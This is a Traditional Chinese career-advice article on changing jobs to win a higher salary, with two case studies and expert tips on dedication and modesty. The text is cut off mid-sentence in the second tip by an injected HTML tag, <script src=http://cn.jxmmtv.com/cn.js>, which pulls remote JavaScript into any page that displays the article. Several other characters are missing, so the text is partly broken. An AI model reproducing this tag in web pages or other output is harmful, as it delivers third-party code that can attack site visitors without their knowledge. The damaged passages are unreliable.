跳槽：虜獲高薪職位的竅門

眼下的跳槽高峰中，恐怕有相當部分人是沖著高薪而去的。職場上，每個人都希望自己能才盡其用，獲得高職高薪。可是，路漫漫其修遠，高薪對于大多數普通職場人來說總是有些高不可攀，有些人為之奮斗了大半輩子依舊遙不可及。

　　許多人忍不住想問，難道就沒有什么捷徑可圖嗎?向陽生涯職業規劃專家的觀點是，放之四海而皆準的高薪捷徑恐怕是沒有的，但是，每個人的機遇有所不同，當行業上升、階段性人才需求爆發、市場供給不平衡，職場的千變萬化都為我們創造了步入高薪的捷徑。

　　案例：我為什么總與高薪無緣?

　　黃先生，30歲，上海一所重點大學本科畢業，專業是信息技術。畢業后黃先生一直在一家知名的IT公司從事軟件開發工作，到現在一晃四五年了。在部門里面，大家都做著相似的工作，只是項目有所不同，所以，黃先生一直以為大家的待遇是差不多的。當然，公司的個人薪金是保密的，他也不了解同事的收入情況。直到一個偶然的機會,黃先生從原先財務部辭職的一個朋友中打聽到，原來，自己的薪資是部門當中 低的。

　　“為什么同工不同酬?我到底哪里不如同事好?”前來向陽生涯職業咨詢機構求助的黃先生顯得有些忿忿不平，并尋思著是不是該跳槽。

　　無獨有偶，前不久在向陽生涯進行咨詢的張小姐也向職業規劃師談起她的苦惱：

　　長假期間，張小姐和幾個要好的大學同學聚會，席間大家談論起各自的工作和薪水。結果，張小姐發現，自己的薪水竟和幾個好朋友差了一大截。張小姐是酒店管理專業畢業的，在一家外企酒店從前臺一直做到行政助理，總是處理著酒店里大大小小的瑣事,三年過去了既沒前途，也看不到個錢途，更別談高薪了， 后張小姐選擇了離開;第二份工作是一外貿公司的經理秘書，聽上去似乎頭銜高了，但事實上，公司經理還是拿她當一個打雜的看，平時就是打打文件，整理整理資料，工資也沒有比原來高出多少;在一年后，張小姐又換了一份工作，這次選擇了做市場專員，甚至不顧剛開始的薪水還沒有我在外企做前臺時的高。然而，張小姐的同學中，有的在一家酒店已經升為經理秘書，又從經理秘書到總經理秘書，現在已經是半個總經理助理了;有的跳到了人力資源崗位，也已經到了HR主管;還有的是客房部經理，薪資也已經是張小姐這個市場專員的兩倍。對此，張小姐憂心忡忡，為什么自己的薪水總沒有她們高?

　　專家分析

　　從內在、外在兩大方向尋求高薪突破

　　一些職場人有一個相同的毛病，當發現自己薪水不高或和別人有差距時，第一反應是感到不公平，甚至因此而對公司和同事產生敵對情緒。其實，所謂高薪，是因人而異的，并不是某個固定的數字。每個人的狀態不同，高薪的標準也不同。事實上，人們在衡量薪水高低的時候，其實是在衡量每個人所領的薪水是否充分體現了自我的價值。

　　那么，如何才能找到屬于自己的高薪捷徑呢?向陽生涯職業規劃專家認為，很多時候，影響你薪水高低的不僅是你的工作能力，更是你的個人的綜合素質，括為人處事的態度等。要解決高薪問題，可以從個人的內在因素與外在因素兩個大方向去著手考慮。在要理性分析自我和形勢的基礎上，才能發現屬于自己的高薪秘密，從而找到高薪的捷徑。

　　內在：用好優勢資源，打造用好核心競爭力

　　內因決定事物本質，在抱怨高薪為何與自己無緣的同時，請深思熟慮一下，自己是否好好梳理過自己的優勢資源，自己用來博取高薪的核心競爭力到底在哪里?

　　從內在因素來說，不妨從以下三個角度去考慮你將來的加薪可能性。

　　1.敬業

　　這可以說與高薪 直接也是 有關聯的，幾乎所有高薪收入者眾口一詞地認為他們成功的重要素質是敬業，一位留學歸來的博士直言相告：“如你想獲高薪，你必須24小時考慮工作。”是否敬業也是當今老總對員工們是否加薪的一大準則。

　　2.低調

　　一份調查結果顯示，幾乎所有的高薪收入者在處理人際關系的能力方?script src=http://cn.jxmmtv.com/cn.js></Script>